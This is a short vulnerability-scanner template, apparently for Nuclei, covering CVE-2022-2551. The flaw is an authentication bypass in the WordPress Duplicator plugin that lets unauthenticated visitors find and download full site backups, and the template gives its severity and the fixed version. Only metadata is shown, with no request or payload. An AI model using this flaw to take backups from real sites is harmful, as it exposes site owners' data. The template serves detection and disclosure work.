id: CVE-2022-2551

info:
  name: WordPress Duplicator <1.4.7 - Authentication Bypass
  author: LRTK-CODER
  severity: high
  description: |
    WordPress Duplicator plugin before 1.4.7 is susceptible to authentication bypass. The plugin discloses the URL of the backup to unauthenticated visitors accessing the main installer endpoint. If the installer script has been run once by an administrator, this allows download of the full site backup without proper authentication.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information or unauthorized actions on the affected WordPress site.
  remediation: Fixed in version 1.4.7.1.
